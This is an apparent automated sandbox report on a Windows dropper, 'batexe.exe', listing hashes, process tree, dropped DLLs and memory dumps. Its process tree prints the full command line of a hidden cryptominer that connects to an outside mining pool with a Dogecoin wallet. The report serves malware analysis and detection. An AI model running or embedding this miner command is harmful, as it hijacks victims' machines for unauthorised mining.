73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 03:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3952	b2e.exe
2840	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2840	cpuminer-sse2.exe
2840	cpuminer-sse2.exe
2840	cpuminer-sse2.exe
2840	cpuminer-sse2.exe
2840	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4080-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 3952	4080	batexe.exe	74
PID 4080 wrote to memory of 3952	4080	batexe.exe	74
PID 4080 wrote to memory of 3952	4080	batexe.exe	74
PID 3952 wrote to memory of 3860	3952	b2e.exe	75
PID 3952 wrote to memory of 3860	3952	b2e.exe	75
PID 3952 wrote to memory of 3860	3952	b2e.exe	75
PID 3860 wrote to memory of 2840	3860	cmd.exe	78
PID 3860 wrote to memory of 2840	3860	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Users\Admin\AppData\Local\Temp\9867.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9867.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9867.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9AB9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9867.tmp\b2e.exe

Filesize
4.9MB

MD5
2f338d69cdcda97d6626768af5bc49db

SHA1
d5cd65df5069fd943c5aadcd4c8a566d9b346c49

SHA256
4d46666237536017b0dffa39d8c7a7f527f3d101692129ad5efe1ed2cb8ce7c8

SHA512
ef5ed6dc900d7bc43f60258dbcf1bec042f39412f700d08710e43e905046627fcc61d42b19e00d2a61a2dcbd78145ef12e81ff5b0e154b57d1b1dfedf6a0f4a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\9867.tmp\b2e.exe

Filesize
5.7MB

MD5
2208c66de1ede8132a1766d1b5f16037

SHA1
e076cee2c280467c5b76a60bdef40da10cc7d2c9

SHA256
141f3b4ab13092c346461f35d57ce8b8ff817be30ad5b82805961ec59d373d42

SHA512
5461d37e5b1c28b853164772e65e5dc047f79c33d629ee8aad0ae5160e500f5e58055cc0808d67cf6dd28e6da39064c77ffa39aa08b72548aab2eb417d8c9493

Download Submit
C:\Users\Admin\AppData\Local\Temp\9AB9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
174f8fea33212031bd164f209813e925

SHA1
ec876285508660844cd8bf4a88a0b9845f77f651

SHA256
587ed733e63dcaed0e3fbe14f46566f60f8f75c1271de3eae1f0b2b666f6ccc1

SHA512
646acaf63fec16e5f29ad1a446bf371a74bfc200e04786e08e9a900b081cb5ceb589dc583d16b654013cd106155830579ea174cc66cc19b32290abbb43ba3b8b

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
6cdb2f1ee9c0f498130fd24ffc6a7d4e

SHA1
02b6c1cc12797e9a28056db2093258a8d01ff0c2

SHA256
82f14df04a516972202e92184253aef42dcaa8a695cc0f93ca0cc0b2f2a0d80d

SHA512
ab95568bc53b9156a81934a92e63021728059748289d942f4727de222119471019e76930c04cdfc5d7c63f52c471fdadf277c5c83f5ea7c55a9cc2dfc4db8c35

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
a2cf99d72c180a1ec10c4a5ce230eba7

SHA1
1a7696141619da5504503cf475efcdfe707c817f

SHA256
dca8468cca4f4d8e946178057fb8b60f81df811e5bedfcb9618030f8f439441c

SHA512
3b31823bbd8dc56f4f484b194f271f82732f34be84d980762a2d89905b1f4230800f0c8ae112a86004f55740889b4eb3b36d61c7a1e5856b079025bb78eabf55

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2840-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2840-42-0x0000000057540000-0x00000000575D8000-memory.dmp

Filesize
608KB

Download
memory/2840-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2840-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2840-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2840-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3952-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3952-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4080-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download